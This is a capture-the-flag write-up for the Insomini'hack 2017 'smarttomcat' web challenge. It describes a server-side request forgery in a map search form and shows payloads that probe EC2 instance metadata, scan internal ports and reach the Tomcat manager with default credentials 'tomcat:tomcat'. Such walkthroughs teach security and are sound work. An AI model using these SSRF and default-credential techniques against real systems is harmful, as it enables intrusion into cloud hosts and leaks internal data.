Insomini'hack 2017 : web50-smarttomcat

Normal, regular cats are so 2000 and late, I decided to buy this allegedly smart tomcat robot
Now the damn thing has attacked me and flew away. I can't even seem to track it down on the broken search interface... Can you help me? (created by xel/grimmlin)

Search interface:


The search interface runs a OpenStreetmap Javascript which draw a pin on map and return if the cat is not/found at that lat/long.

Looking at the code we can spot this out-of-band resource load

Tested w/ the payloader u=

X-Request-Id: 51c12305-641c-4601-adbe-9e6543f04d50  
Total-Route-Time: 0  
Accept-Encoding: gzip  
Cf-Visitor: {"scheme":"http"}  
Connect-Time: 163  
Cf-Ray: 32954978d4e329a5-DUB  
Connection: close  
Via: 1.1 vegur  
Accept: */*  
Cf-Ipcountry: US  

Cool, it do a POST request to any URL we want!

Network     AS16509, Inc.  
City     Dublin, Leinster, Ireland  
Latitude/Longitude     53.3389,-6.2595  
  • Of course, tried to find the cat w/ this lat/long.. no success.

How could it be worse? Server Side Request Forgery (SSRF)

The original request u=http://localhost:8080/index.jsp?x=15.2833&y=-4.2667 indicates that the script run another local script.

We know this is hosted on Amazon EC2, Amazon uses the internal IP to instance some metadata (a non-routable ip address). New payloader: u=

We can leak a lot of shit from server using this!

reservation id r-0e7ba5fead9e79b39  
"privateIp" : "",
"devpayProductCodes" : null,
"availabilityZone" : "eu-west-1a",
"version" : "2010-08-31",
"region" : "eu-west-1",
"instanceId" : "i-07bd01c27725aadb0",
"billingProducts" : null,
"pendingTime" : "2017-01-20T18:20:07Z",
"instanceType" : "t2.medium",
"accountId" : "599063247230",
"architecture" : "x86_64",
"kernelId" : null,
"ramdiskId" : null,
"imageId" : "ami-6f587e1c"

With the internal ip we can run a bruteforce ip/port scan internally to find more services..

Apache/2.4.18 (Ubuntu) Server at Port 80 (interno)
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.1 at Port 22 (interno)

No lucky, the metadata /userdata is disabled by admin.. Read more about the Amazon EC2 SSRF here.

Will be awesome to extract the flag w/ this "flaw".. but no.. the challenge is much more simpler.

Tomcat manager

As the original request indicates u=http://localhost:8080/index.jsp, we have Apache Tomcat/7.0.68 (Ubuntu) running on that machine. The manager role is deprecated, and removed since Tomcat 8, but we have the 7.

u=http://localhost:8080/manager/html redirects to Tomcat manager panel..

Let's try some Tomcat manager default admin credentials..

Final payload u=http://tomcat:tomcat@localhost:8080/manager/html?x=15.2833&y=-4.2667